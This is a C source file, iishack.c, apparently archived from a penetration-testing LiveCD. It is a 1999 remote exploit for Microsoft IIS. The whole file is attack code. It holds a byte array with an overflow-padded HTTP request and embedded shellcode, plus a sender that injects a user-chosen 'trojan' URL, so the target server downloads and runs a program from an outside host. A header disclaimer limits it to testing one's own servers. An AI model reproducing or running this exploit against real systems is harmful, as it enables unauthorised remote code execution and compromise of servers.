home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / iishack.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  194 lines

  1. /***********************************************************/
  2. /* IIS Exploit for Linux (c) 1999 Ultima             [2000]*/
  3. /*                 ultima@snicker.emoti.com          [2000]*/
  4. /* The original exploit as published by EEye was written   */
  5. /* in assembler, and is rather unportable. I wrote it in   */
  6. /* C, and it should compile and run on just about anything.*/
  7. /*                                                   [2000]*/
  8. /* THIS IS ONLY FOR TESTING YOUR OWN SERVERS FOR THE [2000]*/
  9. /* VULNERABILITY. BY RUNNING THIS PROGRAM YOU ASSUME [2000]*/
  10. /* ALL LIABILITY FOR ANY AND ALL RESULTS CAUSED BY   [2000]*/
  11. /* THIS PROGRAM, WHETHER DIRECT OR INDIRECT. IN NO CASE    */
  12. /* SHALL ULTIMA BE HELD RESPONSIBLE.                 [2000]*/
  13. /*                                                   [2000]*/
  14. /* Released: 6.16.1999 (Y2K Compliant!! =)           [2000]*/
  15. /*                                                   [2000]*/
  16. /* This code is released under the terms of the LGPL [2000]*/
  17. /* Version 2 or later, at your discretion.           [2000]*/
  18. /*                                                   [2000]*/
  19. /* The uninitialized egg was evolved from reverse-   [2000]*/
  20. /* engineering the EEye exploit, and was injected into     */
  21. /* C. This is basically the same poison, with a different  */
  22. /* needle. Thanks to drkspyrit and the EEyes ppl,without   */
  23. /* which, this code would have not existed.          [2000]*/
  24. /* He can be reached as barns@eeye.com.              [2000]*/
  25. /* The eEye website is http://www.eEye.com           [2000]*/
  26. /* Usage: ./iishack <server> <port> <trojan>         [2000]*/
  27. /* The trojan is an http url (minus the http://) of a[2000]*/
  28. /* program you want to run on the server. Server and port  */
  29. /* are self-explanitory.                             [2000]*/
  30. /* Compiling: cc -o iishack iishack.c                [2000]*/
  31. /* Example:                                          [2000]*/
  32. /* ./iishack www.notthere.com 80 www.myisp.com/exploit.exe */
  33. /***********************************************************/
  34.  
  35. #include <stdio.h>
  36. #include <sys/types.h>
  37. #include <sys/socket.h>
  38. #include <netinet/in.h>
  39. #include <netdb.h>
  40. #include <stdlib.h>
  41. #include <arpa/inet.h>
  42.  
  43. #define egglen 1157
  44. #define urloff 1055
  45.  
  46. unsigned char egg[] = {
  47.   71,  69,  84,  32,  47,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  48.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  49.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  50.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  51.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  52.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  53.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  54.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  55.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  56.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  57.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  58.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  59.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  60.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  61.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  62.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  63.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  64.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  65.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  66.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  67.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  68.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  69.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  70.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  71.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  72.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  73.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  74.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  75.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  76.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  77.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  78.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  79.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  80.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  81.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  82.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  83.   65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,  65,
  84.   65,  65,  65, 176, 135, 103, 104, 176, 135, 103, 104, 144, 144, 144, 144,  88,
  85.   88, 144,  51, 192,  80,  91,  83,  89, 139, 222, 102, 184,  33,   2,   3, 216,
  86.   50, 192, 215,  44,  33, 136,   3,  75,  60, 222, 117, 244,  67,  67, 186, 208,
  87.   16, 103, 104,  82,  81,  83, 255,  18, 139, 240, 139, 249, 252,  89, 177,   6,
  88.   144,  90,  67,  50, 192, 215,  80,  88, 132, 192,  80,  88, 117, 244,  67,  82,
  89.   81,  83,  86, 178,  84, 255,  18, 171,  89,  90, 226, 230,  67,  50, 192, 215,
  90.   80,  88, 132, 192,  80,  88, 117, 244,  67,  82,  83, 255,  18, 139, 240,  90,
  91.   51, 201,  80,  88, 177,   5,  67,  50, 192, 215,  80,  88, 132, 192,  80,  88,
  92.   117, 244,  67,  82,  81,  83,  86, 178,  84, 255,  18, 171,  89,  90, 226, 230,
  93.   51, 192,  80,  64,  80,  64,  80, 255,  87, 244, 137,  71, 204,  51, 192,  80,
  94.   80, 176,   2, 102, 171,  88, 180,  80, 102, 171,  88, 171, 171, 171, 177,  33,
  95.   144, 102, 131, 195,  22, 139, 243,  67,  50, 192, 215,  58, 200, 117, 248,  50,
  96.   192, 136,   3,  86, 255,  87, 236, 144, 102, 131, 239,  16, 146, 139,  82,  12,
  97.   139,  18, 139,  18, 146, 139, 215, 137,  66,   4,  82, 106,  16,  82, 255, 119,
  98.   204, 255,  87, 248,  90, 102, 131, 238,   8,  86,  67, 139, 243, 252, 172, 132,
  99.   192, 117, 251,  65,  78, 199,   6, 141, 138, 141, 138, 129,  54, 128, 128, 128,
  100.   128,  51, 192,  80,  80, 106,  72,  83, 255, 119, 204, 255,  87, 240,  88,  91,
  101.   139, 208, 102, 184, 255,  15,  80,  82,  80,  82, 255,  87, 232, 139, 240,  88,
  102.   144, 144, 144, 144,  80,  83, 255,  87, 212, 139, 232,  51, 192,  90,  82,  80,
  103.   82,  86, 255, 119, 204, 255,  87, 236, 128, 252, 255, 116,  15,  80,  86,  85,
  104.   255,  87, 216, 128, 252, 255, 116,   4, 133, 192, 117, 223,  85, 255,  87, 220,
  105.   51, 192,  64,  80,  83, 255,  87, 228, 144, 144, 144, 144, 255, 108, 102, 115,
  106.   111, 102, 109,  84,  83,  33, 128, 141, 132, 147, 134, 130, 149,  33, 128, 141,
  107.   152, 147, 138, 149, 134,  33, 128, 141, 132, 141, 144, 148, 134,  33, 128, 141,
  108.   144, 145, 134, 143,  33, 120, 138, 143, 102, 153, 134, 132,  33, 104, 141, 144,
  109.   131, 130, 141,  98, 141, 141, 144, 132,  33, 120, 116, 112, 100, 108,  84,  83,
  110.   33, 147, 134, 132, 151,  33, 148, 134, 143, 133,  33, 148, 144, 132, 140, 134,
  111.   149,  33, 132, 144, 143, 143, 134, 132, 149,  33, 136, 134, 149, 137, 144, 148,
  112.   149, 131, 154, 143, 130, 142, 134,  33, 144, 152, 143,  79, 134, 153, 134,  33,
  113.   33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,
  114.   33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,
  115.   33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,
  116.   33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,
  117.   33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,  33,
  118.   33,  33,  33,  33,  33,  46, 104, 116, 114,  32,  72,  84,  84,  80,  47,  49,
  119.   46,  48,  13,  10,  13,  10,  10 };
  120.  
  121. u_int32_t resolve(char *host)
  122. {
  123.   struct hostent *he;
  124.   long n = inet_addr(host);
  125.   if(n!=-1)
  126.     return(n);
  127.   he = gethostbyname(host);
  128.   if(!he)
  129.     {
  130.       herror("gethostbyname");
  131.       return(0);
  132.     }
  133.   memcpy(&n, he->h_addr, 4);
  134.   return(*(long *)he->h_addr_list[0]);
  135. }
  136.  
  137. int main(int argc, char **argv)
  138. {
  139.   char *server;
  140.   int port;
  141.   char *url;
  142.   int fd;
  143.   struct sockaddr_in s_in;
  144.   int i=0,x,j=0;
  145.   int first=0;
  146.   if(argc != 4)
  147.     {
  148.       fprintf(stderr, "usage: %s <server> <port> <trojan>\n", argv[0]);
  149.       exit(1);
  150.     }
  151.   server = argv[1];
  152.   port = atoi(argv[2]);
  153.   url = argv[3];
  154.   if(strlen(url) > 85)
  155.     {
  156.       fprintf(stderr, "Trojan name must be less than 85 characters.\n");
  157.       exit(1);
  158.     }
  159.   for(x=0;x<strlen(url);x++)
  160.     {
  161.       if(url[x] == '/' && !first)
  162.         {
  163.           first=1;
  164.           egg[urloff+j]='!'+0x21;
  165.           egg[urloff+j+1]='G'+0x21;
  166.           egg[urloff+j+2]='E'+0x21;
  167.           egg[urloff+j+3]='T'+0x21;
  168.           egg[urloff+j+4]=' '+0x21;
  169.           egg[urloff+j+5]='/'+0x21;
  170.           j+=6;
  171.           continue;
  172.         }
  173.       egg[urloff+j] += url[x];
  174.       j++;
  175.     }
  176.   fd = socket(AF_INET, SOCK_STREAM, 0);
  177.   s_in.sin_family = AF_INET;
  178.   s_in.sin_port = htons(port);
  179.   s_in.sin_addr.s_addr = resolve(server);
  180.   connect(fd, (struct sockaddr *)&s_in, sizeof(struct sockaddr_in));
  181.   while(i!=egglen)
  182.     {
  183.       x=send(fd, egg+i, egglen-i, 0);
  184.       if(x<0)
  185.         {
  186.           fprintf(stderr, "Connection to target lost. WTF?\n");
  187.           exit(1);
  188.         }
  189.       i+=x;
  190.     }
  191.   printf("Trojan uploaded successfully (I think...)\n");
  192.   return(0);
  193. }
  194. /*                    www.hack.co.za              [2000]*/